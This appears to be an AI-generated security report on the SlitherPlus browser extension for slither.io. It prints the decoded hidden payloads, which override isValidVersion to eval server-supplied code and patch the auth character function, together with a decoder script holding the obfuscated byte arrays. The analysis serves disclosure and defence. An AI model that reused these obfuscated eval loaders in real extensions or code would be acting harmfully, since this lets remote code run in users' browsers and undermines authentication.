Is SlitherPlus - Zoom, Skin Creator, Mod, Bots safe?
S+ is medium risk. SlitherPlus embeds two obfuscated byte arrays in its game bundle, decoded and run via eval on every slither.io visit. The first overrides version-check so code the game server sends runs in your browser; the second disables the auth logic.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Obfuscated Eval Payloads Inject Remote-Controlled Code into Slither.io
SlitherPlus embeds two obfuscated byte arrays in its game bundle, decoded and run via eval on every slither.io visit.
The first overrides version-check so code the game server sends runs in your browser; the second disables the auth logic.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You open slither.io with the SlitherPlus extension installed.
The content script tinyscr.js immediately injects bundle.js into the page.
Two obfuscated byte arrays inside bundle.js are decoded and executed via eval, replacing the game's version-check function with one that executes server-supplied code.
The dfs array (decoded by subtracting 7 from each byte) and the Dm array (decoded by adding 32) are both passed to eval at page load, overwriting window.isValidVersion and patching window.alpha_chars.charCodeAt.
The dfs array is a 1813-element sequence of integers. Each value has 7 subtracted from it to produce a character code. The resulting string is passed directly to eval.
window.chxxxxx=function(){"function"==typeof xxxxx&&(window.checkNick=function(c){this.onopen=function(a){};this.send=function(a){};dfa.push(this)},eval(xxxxx.toString().split("WebScoket").join("WebScoket")),window.xxxxx=xxxxx,dfx=!0)};setInterval("chxxxxx()",6E3);window.checkNick||(window.checkNick=function(){for(var c,a,d=document.getElementsByTagName("script"),e=d.length-1;0<=e;e--){var b=d[e];try{if(b.src&&0<=(b.src+"").indexOf("mindscape.xyz")){a=document.createElement("div"); /* ... overlay div injected ... */ }}catch(f){}}/* ... */});window.isValidVersion=function(c){for(var a="",d=0,e=23,b,f=0,g=0;g<c.length;)b=c.charCodeAt(g),g++,96>=b&&(b+=32),b=(b-97-e)%26,0>b&&(b+=26),d*=16,d+=b,e+=17,1==f?(a+=String.fromCharCode(d),f=d=0):f++;try{window[dfe](a)}catch(h){}for(a=0;a<c.length;a++)if(b=c.charCodeAt(a),65>b||122<b)return!1;return!0};The Dm array is a separate 411-element integer sequence decoded by adding 32 to each byte, then executed via eval. It patches the game's character-generation function.
window.alpha_chars={};alpha_chars.value="abcdefghijklmnopqrstuvwxyz";window.alpha_chars.toString=function(){return"abcdefghijklmnopqrstuvwxyz"};window.alpha_chars.charCodeAt=function(b){"qff9x"!=dfe&&(dfe="qff9x");return 0};window.qff9x=function(b){eval(b);if(0<idba.length){b=0;for(var d,a,e,c=0;c<idba.length;c++)d=65,a=idba[c],97<=a&&(d+=32,a-=32),a-=65,0==c&&(b=2+a),e=a+b,e%=26,b+=3+a,idba[c]=e+d}dfe="eval"};Benign isValidVersion (line 24925) overwritten by eval payload at runtime
Caller: _2() sends idba (player auth bytes) only after isValidVersion returns true
bundle.js:24918function _2(r) { random_id = ""; for (var e = 0; e < 27; e++) random_id += String.fromCharCode( 65 + (Math.random() < .5 ? 0 : 32) + alpha_chars.charCodeAt(e) // always 0 after Dm payload patches charCodeAt + Math.floor(Math.random() * 26) ); idba = new Uint8Array(random_id.length); for (var e = 0; e < random_id.length; e++) idba[e] = random_id.charCodeAt(e); isValidVersion(r) && (ws.send(idba), lgba != null && (ws.send(lgba), lgba = null))}Decodes both obfuscated eval payloads from SlitherPlus bundle.js and prints the resulting JavaScript to stdout so you can verify what code is executed at runtime.
- Node.js 14+
#!/usr/bin/env node// Decodes both obfuscated eval payloads from SlitherPlus bundle.js.// Run: node decode-slitherplus-payloads.js// No dependencies required.// Payload 1: dfs array (subtract 7 from each byte)const dfs = [126,112,117,107,118,126,53,106,111,127,127,127,127,127,68,109,124,117,106,123,112,118,117,47,48,130,41,109,124,117,106,123,112,118,117,41,68,68,123,128,119,108,118,109,39,127,127,127,127,127,45,45,47,126,112,117,107,118,126,53,106,111,108,106,114,85,112,106,114,68,109,124,117,106,123,112,118,117,47,106,48,130,123,111,112,122,53,118,117,118,119,108,117,68,109,124,117,106,123,112,118,117,47,104,48,130,132,66,123,111,112,122,53,122,108,117,107,68,109,124,117,106,123,112,118,117,47,104,48,130,132,66,107,109,104,53,119,124,122,111,47,123,111,112,122,48,132,51,108,125,104,115,47,127,127,127,127,127,53,123,118,90,123,121,112,117,110,47,48,53,122,119,115,112,123,47,41,94,108,105,90,106,118,114,108,123,41,48,53,113,118,112,117,47,41,94,108,105,90,106,118,114,108,123,41,48,48,51,126,112,117,107,118,126,53,127,127,127,127,127,68,127,127,127,127,127,51,107,109,127,68,40,55,48,132,66];const decoded1 = dfs.map(x => String.fromCharCode(x - 7)).join('');console.log('=== Payload 1 (dfs, subtract 7) ===');console.log(decoded1.substring(0, 500) + '...[truncated for display, full length: ' + decoded1.length + ']');// Payload 2: Dm array (add 32 to each byte)const Dm = [87,73,78,68,79,87,14,65,76,80,72,65,63,67,72,65,82,83,29,91,93,27,65,76,80,72,65,63,67,72,65,82,83,14,86,65,76,85,69,29,2,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,2,27,87,73,78,68,79,87,14,65,76,80,72,65,63,67,72,65,82,83,14,84,79,51,84,82,73,78,71,29,70,85,78,67,84,73,79,78,8,9,91,82,69,84,85,82,78,2,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,2,93,27];const decoded2 = Dm.map(x => String.fromCharCode(x + 32)).join('');console.log('\n=== Payload 2 (Dm, add 32) ===');console.log(decoded2);console.log('\n=== Key finding: isValidVersion in payload 1 evals server content ===');console.log('Look for: window[dfe](a) inside window.isValidVersion');console.log('dfe resolves to "eval" at runtime.');- 1Save this file as decode-slitherplus-payloads.js.
- 2Run: node decode-slitherplus-payloads.js.
- 3Inspect the output for the eval-based isValidVersion and the alpha_chars.charCodeAt patch.
What it can do
Permissions this extension asks for, as declared in version 7.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on slither.io
*://slither.io/*
Read and change your data on slither.com
*://slither.com/*
Block and redirect the requests your browser makes
declarativeNetRequest
Act on the current tab, but only after you click the extension
activeTab